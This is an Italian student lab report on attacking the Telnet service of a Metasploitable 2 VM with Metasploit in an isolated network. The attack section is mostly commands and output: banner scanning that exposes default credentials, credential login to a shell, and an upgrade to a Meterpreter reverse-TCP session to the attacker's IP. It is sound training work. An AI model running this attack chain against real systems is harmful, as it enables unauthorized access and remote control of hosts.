

Alessandro Pietro Salerno

Report di Svolgimento Esercizio: Sfruttamento Telnet e Upgrade a Meterpreter

1. Introduzione

Il presente report descrive in dettaglio lo svolgimento dell'esercizio pratico relativo al modulo S7-L2. L'obiettivo dell'attività è stato quello di simulare un attacco a un servizio Telnet vulnerabile sulla macchina target Metasploitable 2, utilizzando il Metasploit Framework.

L'esercizio è stato strutturato in quattro fasi distinte, che replicano un flusso di lavoro realistico di penetration testing:

1. **Fase 1: Scansione e Raccolta Informazioni (Reconnaissance)**
2. **Fase 2: Autenticazione e Accesso (Exploitation)**
3. **Fase 3: Gestione della Sessione (Session Management)**
4. **Fase 4: Elevazione della Sessione (Post-Exploitation)**

Questo report analizzerà la teoria fondamentale per ogni passaggio e documenterà i comandi eseguiti e i risultati ottenuti.

2. Contesto Teorico Necessario

Per completare l'esercizio, è stata necessaria la comprensione dei seguenti concetti e strumenti:

- **Metasploit Framework:** Una piattaforma open-source per lo sviluppo, il test e l'esecuzione di exploit. È uno strumento indispensabile per i professionisti della sicurezza per validare le vulnerabilità e gestire i test di penetrazione.
- **Servizio Telnet (Porta 23):** Un protocollo di rete obsoleto utilizzato per fornire una comunicazione testuale bidirezionale. La sua vulnerabilità intrinseca risiede nel fatto che **tutte le comunicazioni, incluse le credenziali di accesso, vengono trasmesse in chiaro (non cifrate).**

Come evidenziato nell' esercizio, è anche soggetto a configurazioni errate (es. banner che espongono informazioni sensibili).

- **Moduli Auxiliary (Ausiliari):** Componenti di Metasploit progettati non per un attacco diretto, ma per funzioni di supporto. In questo esercizio sono stati usati per:
 - **auxiliary/scanner/telnet/telnet_version:** Scansionare e identificare il servizio, recuperando il suo "banner".
 - **auxiliary/scanner/telnet/telnet_login:** Eseguire un attacco di autenticazione utilizzando un set di credenziali note.
- **Sessioni (Shell vs Meterpreter):**
 - **Shell:** Una semplice riga di comando come **cmd.exe** o **/bin/bash** ottenuta sul sistema target. È funzionale ma limitata.
 - **Meterpreter:** Un payload avanzato e multifunzionale di Metasploit. Opera interamente in memoria (per essere più furtivo) e offre una vasta gamma di comandi integrati per la post-exploitation (es. **ps**, **sysinfo**, **migrate**, **screenshot**).
- **Moduli Post-Exploitation:** Moduli progettati per essere eseguiti dopo aver ottenuto un accesso iniziale (una **sessione**). Il loro scopo è raccogliere ulteriori informazioni, mantenere l' accesso o, come nel nostro caso, migliorare la qualità dell'accesso.
 - **post/multi/manage/shell_to_meterpreter:** Un modulo specifico che "aggiorna" una sessione shell di base a una sessione Meterpreter completa.

3. Svolgimento Pratico dell'Esercizio

Di seguito riporto i passaggi eseguiti per completare l' attività.

Dopo avere messo entrambe le macchine su rete “solo con Host” ed aver effettuato il ping per verificare la comunicazione

```
(kali㉿kali)-[~]
$ ping 192.168.56.102
PING 192.168.56.102 (192.168.56.102) 56(84) bytes of data.
64 bytes from 192.168.56.102: icmp_seq=1 ttl=64 time=2.39 ms
64 bytes from 192.168.56.102: icmp_seq=2 ttl=64 time=1.03 ms
64 bytes from 192.168.56.102: icmp_seq=3 ttl=64 time=2.23 ms
64 bytes from 192.168.56.102: icmp_seq=4 ttl=64 time=0.934 ms
64 bytes from 192.168.56.102: icmp_seq=5 ttl=64 time=0.902 ms
^C
— 192.168.56.102 ping statistics —
5 packets transmitted, 5 received, 0% packet loss, time 4279ms
rtt min/avg/max/mdev = 0.902/1.498/2.393/0.666 ms
```

```
msfadmin@metasploitable:~$ ping 192.168.56.101
PING 192.168.56.101 (192.168.56.101) 56(84) bytes of data:
64 bytes from 192.168.56.101: icmp_seq=1 ttl=64 time=1.68 ms
64 bytes from 192.168.56.101: icmp_seq=2 ttl=64 time=1.16 ms
64 bytes from 192.168.56.101: icmp_seq=3 ttl=64 time=1.21 ms

--- 192.168.56.101 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 1.164/1.354/1.686/0.238 ms
msfadmin@metasploitable:~$
```

ho proceduto con le seguenti fasi.

Fase 1: Scansione del Servizio Telnet

- **Obiettivo:** Verificare l'esistenza del servizio Telnet e raccogliere informazioni preliminari.

```
msf > search telnet

Matching Modules
=====

#  Name
-  -
0  exploit/linux/misc/asus_infosvr_auth_bypass_exec
1  exploit/linux/http/asuswrt_lan_rce
2  auxiliary/server/capture/telnet
```

la lista contiene 84 moduli a riguardo,

```
80  payload/cmd/unix/reverse
81  payload/cmd/unix/reverse_ssl_double_telnet
82  payload/cmd/unix/reverse_bash_telnet_ssl
83  exploit/linux/ssh/vyos_restricted_shell_privesc
84  post/windows/gather/credentials/mremote
```

- **Modulo Utilizzato:** **auxiliary/scanner/telnet/telnet_version "77"**

```
76  auxiliary/scanner/telnet/telnet_login
77  auxiliary/scanner/telnet/telnet_version
78  auxiliary/scanner/telnet/telnet_encrypt
79  payload/cmd/unix/bind_busybox_telnetd
80  payload/cmd/unix/reverse
81  payload/cmd/unix/reverse_ssl_double_telnet
82  payload/cmd/unix/reverse_bash_telnet_ssl
83  exploit/linux/ssh/vyos_restricted_shell_
84  post/windows/gather/credentials/mremote

Interact with a module by name or index. For ex
msf > auxiliary/scanner/telnet/telnet_version
```

- ```
msf > use auxiliary/scanner/telnet/telnet_version
msf auxiliary(scanner/telnet/telnet_version) > show options
```

```
msf auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

View the full module info with the info, or info -d command.

msf auxiliary(scanner/telnet/telnet_version) > █
```

```
msf auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.56.102
RHOSTS => 192.168.56.102
```

**Risultato:** Il modulo ha avuto successo. Analizzando l' output (come da screenshot fornito), il banner del servizio ha rivelato le credenziali di default:

```
msf auxiliary(scanner/telnet/telnet_version) > exploit
[*] 192.168.56.102:23 - 192.168.56.102:23 TELNET
Warning: Never expose this VM to an untrusted network! \x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started\x0a\x0a\x0ametasploitable login:
[*] 192.168.56.102:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_version) >
```

- **Obiettivo:** Sfruttare le credenziali scoperte per ottenere l'accesso al sistema.
- **Modulo Utilizzato:** `auxiliary/scanner/telnet/telnet_login`

[illegible]

- **Comandi Eseguiti:**

```
msf auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.56.102
RHOSTS => 192.168.56.102
msf auxiliary(scanner/telnet/telnet_login) > set USERNAME msfadmin
USERNAME => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set PASSWORD msfadmin
PASSWORD => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf auxiliary(scanner/telnet/telnet_login) > exploit
```

Anche qui ho impostato l' RHOSTS ed in più password e username . L' ultimo set "STOP ON SUCCESS" , come ho letto dall' output del "show options" , vuol dire che il sistema smette di chiedersi se le credenziali siano quelle corrette una volta che esse funzionano e dunque da "false" lo impostato su "true", per attivarlo.

**Risultato:** Il modulo ha confermato il successo dell' autenticazione e ha automaticamente creato la **Sessione 1 di tipo shell**.

```
msf auxiliary(scanner/telnet/telnet_login) > exploit
[!] 192.168.56.102:23 - No active DB -- Credential data will not be saved!
[+] 192.168.56.102:23 - 192.168.56.102:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.56.102:23 - Attempting to start session 192.168.56.102:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.56.101:33949 → 192.168.56.102:23) at 2025-11-05 09:57:05 -0500
[*] 192.168.56.102:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_login) >
```

### Fase 3: Gestione delle Sessioni

- **Obiettivo:** Imparare a visualizzare e interagire con le sessioni attive.
- **Comandi Eseguiti:**
  1. **sessions -l** , per listare le sessioni attive, confermando l' esistenza della Sessione 1.

```
msf auxiliary(scanner/telnet/telnet_login) > sessions -l

Active sessions

```

| <u>Id</u> | <u>Name</u> | <u>Type</u> | <u>Information</u>                           | <u>Connection</u>                                         |
|-----------|-------------|-------------|----------------------------------------------|-----------------------------------------------------------|
| 1         |             | shell       | TELNET msfadmin:msfadmin (192.168.56.102:23) | 192.168.56.101:33949 → 192.168.56.102:23 (192.168.56.102) |

```
msf auxiliary(scanner/telnet/telnet_login) >
```

2. **sessions -i 1** , per interagire con la Sessione 1.

```
msf auxiliary(scanner/telnet/telnet_login) > sessions -i 1
[*] Starting interaction with 1...

msfadmin@metasploitable:~$
```

- **Risultato:** È stato ottenuto un prompt dei comandi (**msfadmin@metasploitable:~\$**) direttamente sulla macchina target, confermando il pieno controllo della shell.

Ho eseguito alcuni comandi a dimostrazione

```
msfadmin@metasploitable:~$ whoami
whoami
msfadmin
msfadmin@metasploitable:~$ ls
ls
vulnerable
msfadmin@metasploitable:~$
```

#### Fase 4: Upgrade della Sessione a Meterpreter

- **Obiettivo:** Aggiornare la sessione **shell** limitata a una sessione **meterpreter** avanzata per capacità di post-exploitation superiori.
- **Modulo Utilizzato:** **post/multi/manage/shell\_to\_meterpreter** , dopo aver messo in background la sessione 1 con l' apposito comando.

```
msfadmin@metasploitable:~$ ^Z
Background session 1? [y/N] y
msf auxiliary(scanner/telnet/telnet_login) > use post/multi/manage/shell_to_meterpreter
msf post(multi/manage/shell_to_meterpreter) >
```

- **Comandi Eseguiti:**
  1. **Ctrl + Z** per mettere in background la Sessione 1
  2. **msf6 > use post/multi/manage/shell\_to\_meterpreter**
  3. **msf6 post(...) > show options** per analizzare i parametri

```
msf auxiliary(scanner/telnet/telnet_login) > use post/multi/manage/shell_to_meterpreter
msf post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

Name	Current Setting	Required	Description
HANDLER	true	yes	Start an exploit/multi/handler to receive the connection
LHOST		no	IP of host that will receive the connection from the payload (Will try to auto detect).
LPORT	4433	yes	Port for payload to connect to.
SESSION		yes	The session to run this module on

View the full module info with the info, or info -d command.

msf post(multi/manage/shell_to_meterpreter) > █
```

4. `msf6 post(...) > set SESSION 1`
5. `msf6 post(...) > set LHOST 192.168.56.101` (impostando manualmente l' IP dell'attaccante per garantire la connessione).
6. `msf6 post(...) > run` o "exploit"

```
msf post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf post(multi/manage/shell_to_meterpreter) > set LHOST 192.168.56.101
LHOST => 192.168.56.101
msf post(multi/manage/shell_to_meterpreter) > exploit█
```

- **Risultato:** Il modulo è stato eseguito con successo, stabilendo una nuova **Sessione 2** di tipo **meterpreter**.

```
msf post(multi/manage/shell_to_meterpreter) > exploit
[!] SESSION may not be compatible with this module:
[!] * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.56.101:4433
[*] Sending stage (1062760 bytes) to 192.168.56.102
[*] Meterpreter session 2 opened (192.168.56.101:4433 → 192.168.56.102:53354) at 2025-11-05 10:28:05 -0500
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) > █
```

Interagendo con essa (**sessions -i 2**), ho eseguito comandi avanzati, che abbiamo visto a lezione, come **ps**, che ha fornito un elenco dettagliato dei processi in esecuzione sulla macchina target e **sysinfo** che dà informazioni sul sistema target.

```
msf post(multi/manage/shell_to_meterpreter) > sessions -l

Active sessions

Id	Name	Type	Information	Connection
1	shell		TELNET msfadmin:msfadmin (192.168.56.102:23)	192.168.56.101:33949 → 192.168.56.102:23 (192.168.56.102)
2	meterpreter	x86/linux	msfadmin @ metasploitable.localdomain	192.168.56.101:4433 → 192.168.56.102:53354 (192.168.56.102)

msf post(multi/manage/shell_to_meterpreter) > █
```

```
msf post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...
```

```
meterpreter > sysinfo
Computer : metasploitable.localdomain
OS : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
```

```
meterpreter > ps
```

### Process List

| PID | PPID | Name           | Arch | User | Path |
|-----|------|----------------|------|------|------|
| 1   | 0    | init           | i686 | root |      |
| 2   | 0    | [kthreadd]     | i686 | root |      |
| 3   | 2    | [migration/0]  | i686 | root |      |
| 4   | 2    | [ksoftirqd/0]  | i686 | root |      |
| 5   | 2    | [watchdog/0]   | i686 | root |      |
| 6   | 2    | [events/0]     | i686 | root |      |
| 7   | 2    | [khelper]      | i686 | root |      |
| 41  | 2    | [kblockd/0]    | i686 | root |      |
| 44  | 2    | [kacpid]       | i686 | root |      |
| 45  | 2    | [kacpi notify] | i686 | root |      |

## 4. Conclusioni e Riflessioni

L'esercizio è stato completato con successo, dimostrando l'efficacia del Metasploit Framework nell'identificare e sfruttare una comune vulnerabilità di configurazione.

Da questa attività sono emerse diverse considerazioni chiave:

1. **La Pericolosità dei Protocolli Obsoleti:** La lezione più evidente è il rischio critico associato all'uso di protocolli in chiaro come Telnet. L'

intera compromissione è stata possibile perché le credenziali sono state esposte pubblicamente nel banner del servizio.

2. **L'Hacking come Processo (Chaining):** Questo esercizio ha dimostrato che un attacco non è quasi mai un singolo comando. È una "catena" di azioni: abbiamo usato un modulo per la scansione, un altro per il login e un terzo per l'upgrade. Ogni strumento è stato utilizzato per il suo scopo specifico in una sequenza logica.
3. **Il Valore della Post-Exploitation:** Ottenere una **shell** è solo l'inizio. La vera potenza di Metasploit risiede nelle sue capacità di post-exploitation. L'upgrade a Meterpreter è stato un passaggio fondamentale, che ha trasformato un accesso base in una testa di ponte stabile e multifunzionale sul sistema target, permettendomi di eseguire analisi avanzate come il comando **ps**.
4. **L'Importanza della Configurazione:** Durante la Fase 4, la riflessione sul parametro **LHOST**, dovuta ad una mia semplice curiosità nel leggere i parametri di "show options" che mi ha spinto ad effettuare una ricerca su Internet a riguardo, ha evidenziato l'importanza di non affidarsi sempre all'automazione. Capire cosa fa ogni parametro (anche se non "obbligatorio") è cruciale per prevenire fallimenti dell'attacco.

(ed in più ho imparato appunto il parametro LHOST e le varie implicazioni relative la sua possibile impostazione...)

In conclusione, l'esercizio ha fornito un'eccellente panoramica pratica di un flusso di attacco realistico, consolidando la teoria sui moduli di Metasploit e sull'importanza di passare dalla semplice acquisizione dell'accesso a una gestione efficace della post-exploitation.